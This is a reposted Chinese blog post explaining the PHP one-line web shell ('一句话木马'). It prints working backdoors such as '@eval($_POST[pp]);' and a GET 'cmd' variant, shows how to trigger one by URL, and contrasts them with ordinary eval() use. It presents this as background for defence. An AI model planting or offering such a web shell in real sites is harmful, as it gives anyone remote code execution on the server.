zoukankan      html  css  js  c++  java
  • PHP一句话

    <?php @eval($_POST[pp]);?>

    这是一段PHP木马代码,也就是我们所说的后门程序

    为什么说这段代码是后门程序?

    其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,

    这个是PHP最常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算

    就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范

    eval函数

    eval() 函数把字符串按照 PHP 代码来执行

    该字符串必须是合法的 PHP 代码,且必须以分号结尾

    如果没有在代码字符串中调用 return 语句,则返回 NULL

    如果代码中存在解析错误,则 eval() 函数返回 false

    eval函数的一般用法

    一般用法也就是平时我们所用的,但是感觉我都不用这个函数,作用相当于Python中的format函数,格式化字符串

    <?php
    
    $string = "beautiful";
    
    $time = "summer";
    
    $str = 'This is a $string $time morning!';
    
    echo $str. "<br />";
    
    eval("$str = "$str";");
    
    echo $str;
    
    ?>

    结果输出:

    This is a $string $time morning!
    
    This is a beautiful summer morning!

    eval函数的特殊用法

    这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个php文件,写入如下代码

    <?php
    
    @eval($_GET["cmd"]);
    
    ?>

    加上@符来抑制错误输出,来访问?cmd=echo 'hello,world!';这个路径,就会看到输出

    查看PHP的信息:pathinfo()

    post提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种PHP一句话木马程序代码,也感觉是最弱智的。。。 

     

    转载自:PHP的一句话木马代码和函数eval的简介

  • 相关阅读:
    swoole 入门
    Centos7安装Percona5.7
    clone github报Permission denied (publickey) 解决方案
    yii2-swiftmailer入门
    Yii 2.0 数据库操作总结
    面向对象简单示例
    面向对象与面向过程
    Tkinter之部件3种放置方式pack、grid、place
    Tkinter之variable用法
    Tkinter之Menu
  • 原文地址:https://www.cnblogs.com/WhiteHatKevil/p/10150480.html
Copyright © 2011-2022 走看看